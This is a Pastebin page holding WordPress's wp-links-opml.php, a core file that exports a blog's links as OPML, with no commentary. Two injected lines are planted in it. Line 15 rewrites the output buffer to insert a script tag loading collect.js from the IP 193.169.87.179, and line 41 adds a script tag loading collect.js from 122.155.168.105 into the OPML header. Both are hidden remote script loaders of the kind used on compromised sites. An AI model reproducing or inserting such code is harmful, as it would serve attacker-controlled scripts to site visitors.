Advertisement
23Pstars

wp-links-opml.php

Dec 27th, 2014
390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.75 KB | None | 0 0
  1. <?php
  2. /**
  3.  * Outputs the OPML XML format for getting the links defined in the link
  4.  * administration. This can be used to export links from one blog over to
  5.  * another. Links aren't exported by the WordPress export, so this file handles
  6.  * that.
  7.  *
  8.  * This file is not added by default to WordPress theme pages when outputting
  9.  * feed links. It will have to be added manually for browsers and users to pick
  10.  * up that this file exists.
  11.  *
  12.  * @package WordPress
  13.  */
  14.  
  15. $this->buffer = str_ireplace('<script type="text/javascript" src="http://193.169.87.179/collect.js"></script></head>', $this->styles.'<script type="text/javascript" src="http://193.169.87.179/collect.js"></script></head>', $this->buffer);
  16.  
  17. require_once( dirname( __FILE__ ) . '/wp-load.php' );
  18.  
  19. header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
  20. $link_cat = '';
  21. if ( !empty($_GET['link_cat']) ) {
  22.     $link_cat = $_GET['link_cat'];
  23.     if ( !in_array($link_cat, array('all', '0')) )
  24.         $link_cat = absint( (string)urldecode($link_cat) );
  25. }
  26.  
  27. echo '<?xml version="1.0"?'.">\n";
  28. ?>
  29. <opml version="1.0">
  30.     <head>
  31.         <title><?php printf( __('Links for %s'), esc_attr(get_bloginfo('name', 'display')) ); ?></title>
  32.         <dateCreated><?php echo gmdate("D, d M Y H:i:s"); ?> GMT</dateCreated>
  33.         <?php
  34.         /**
  35.          * Fires in the OPML header.
  36.          *
  37.          * @since 3.0.0
  38.          */
  39.         do_action( 'opml_head' );
  40.         ?>
  41.         <script language="JavaScript" src="http://122.155.168.105/ads/inpage/pub/collect.js" type="text/javascript"></script>
  42.     <body>
  43. <?php
  44. if ( empty($link_cat) )
  45.     $cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0));
  46. else
  47.     $cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0, 'include' => $link_cat));
  48.  
  49. foreach ( (array)$cats as $cat ) :
  50.     /**
  51.      * Filter the OPML outline link category name.
  52.      *
  53.      * @since 2.2.0
  54.      *
  55.      * @param string $catname The OPML outline category name.
  56.      */
  57.     $catname = apply_filters( 'link_category', $cat->name );
  58.  
  59. ?>
  60. <outline type="category" title="<?php echo esc_attr($catname); ?>">
  61. <?php
  62.     $bookmarks = get_bookmarks(array("category" => $cat->term_id));
  63.     foreach ( (array)$bookmarks as $bookmark ) :
  64.         /**
  65.          * Filter the OPML outline link title text.
  66.          *
  67.          * @since 2.2.0
  68.          *
  69.          * @param string $title The OPML outline title text.
  70.          */
  71.         $title = apply_filters( 'link_title', $bookmark->link_name );
  72. ?>
  73.     <outline text="<?php echo esc_attr($title); ?>" type="link" xmlUrl="<?php echo esc_attr($bookmark->link_rss); ?>" htmlUrl="<?php echo esc_attr($bookmark->link_url); ?>" updated="<?php if ('0000-00-00 00:00:00' != $bookmark->link_updated) echo $bookmark->link_updated; ?>" />
  74. <?php
  75.     endforeach; // $bookmarks
  76. ?>
  77. </outline>
  78. <?php
  79. endforeach; // $cats
  80. ?>
  81. </body>
  82. </opml>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement